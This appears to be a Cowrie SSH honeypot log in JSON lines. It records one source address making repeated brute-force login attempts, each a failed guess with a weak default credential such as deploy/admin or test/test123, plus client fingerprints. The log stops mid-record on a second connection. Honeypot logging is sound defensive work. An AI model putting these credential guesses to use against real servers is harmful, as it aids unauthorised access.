{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:52.416729Z","src_ip":"192.109.200.78","session":"e1b940e23222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:52.497115Z","src_ip":"192.109.200.78","session":"e1b940e23222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:52.740535Z","src_ip":"192.109.200.78","session":"e1b940e23222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:53.824098Z","src_ip":"192.109.200.78","session":"e1b940e23222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42828,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fdce7c5f185","protocol":"ssh","message":"New connection: 192.109.200.78:42828 (10.17.0.5:22) [session: 4fdce7c5f185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:55.773510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:55.777513Z","src_ip":"192.109.200.78","session":"4fdce7c5f185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:55.896474Z","src_ip":"192.109.200.78","session":"4fdce7c5f185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"12345678","message":"login attempt [www/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:56.309982Z","src_ip":"192.109.200.78","session":"4fdce7c5f185","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:57.393306Z","src_ip":"192.109.200.78","session":"4fdce7c5f185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42844,"dst_ip":"10.17.0.5","dst_port":22,"session":"6db97cbb1dc8","protocol":"ssh","message":"New connection: 192.109.200.78:42844 (10.17.0.5:22) [session: 6db97cbb1dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:59.405439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:59.409587Z","src_ip":"192.109.200.78","session":"6db97cbb1dc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:59.489942Z","src_ip":"192.109.200.78","session":"6db97cbb1dc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"1234567890","message":"login attempt [deployer/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:57:59.742174Z","src_ip":"192.109.200.78","session":"6db97cbb1dc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:00.826118Z","src_ip":"192.109.200.78","session":"6db97cbb1dc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55052,"dst_ip":"10.17.0.5","dst_port":22,"session":"901a447c3c3f","protocol":"ssh","message":"New connection: 192.109.200.78:55052 (10.17.0.5:22) [session: 901a447c3c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:02.840564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:02.998219Z","src_ip":"192.109.200.78","session":"901a447c3c3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:03.006156Z","src_ip":"192.109.200.78","session":"901a447c3c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:03.358413Z","src_ip":"192.109.200.78","session":"901a447c3c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:04.442951Z","src_ip":"192.109.200.78","session":"901a447c3c3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55058,"dst_ip":"10.17.0.5","dst_port":22,"session":"06215e917870","protocol":"ssh","message":"New connection: 192.109.200.78:55058 (10.17.0.5:22) [session: 06215e917870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:06.445979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:06.450180Z","src_ip":"192.109.200.78","session":"06215e917870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:06.531519Z","src_ip":"192.109.200.78","session":"06215e917870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toto","password":"toto","message":"login attempt [toto/toto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:06.777204Z","src_ip":"192.109.200.78","session":"06215e917870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:07.862366Z","src_ip":"192.109.200.78","session":"06215e917870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55066,"dst_ip":"10.17.0.5","dst_port":22,"session":"696c56cffd35","protocol":"ssh","message":"New connection: 192.109.200.78:55066 (10.17.0.5:22) [session: 696c56cffd35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:09.784646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:09.789376Z","src_ip":"192.109.200.78","session":"696c56cffd35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:10.014459Z","src_ip":"192.109.200.78","session":"696c56cffd35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"123","message":"login attempt [master/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:10.343888Z","src_ip":"192.109.200.78","session":"696c56cffd35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:11.428050Z","src_ip":"192.109.200.78","session":"696c56cffd35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49698,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c4c41f45a59","protocol":"ssh","message":"New connection: 192.109.200.78:49698 (10.17.0.5:22) [session: 2c4c41f45a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:13.410491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:13.414862Z","src_ip":"192.109.200.78","session":"2c4c41f45a59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:13.495561Z","src_ip":"192.109.200.78","session":"2c4c41f45a59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:13.926843Z","src_ip":"192.109.200.78","session":"2c4c41f45a59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:15.009906Z","src_ip":"192.109.200.78","session":"2c4c41f45a59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49710,"dst_ip":"10.17.0.5","dst_port":22,"session":"02574a6406ea","protocol":"ssh","message":"New connection: 192.109.200.78:49710 (10.17.0.5:22) [session: 02574a6406ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:17.090990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:17.099313Z","src_ip":"192.109.200.78","session":"02574a6406ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:17.180401Z","src_ip":"192.109.200.78","session":"02574a6406ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:17.427234Z","src_ip":"192.109.200.78","session":"02574a6406ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:18.513372Z","src_ip":"192.109.200.78","session":"02574a6406ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.65.107.14","src_port":45236,"dst_ip":"10.17.0.5","dst_port":22,"session":"de34fc26ed7c","protocol":"ssh","message":"New connection: 185.65.107.14:45236 (10.17.0.5:22) [session: de34fc26ed7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:19.251928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:19.255838Z","src_ip":"185.65.107.14","session":"de34fc26ed7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521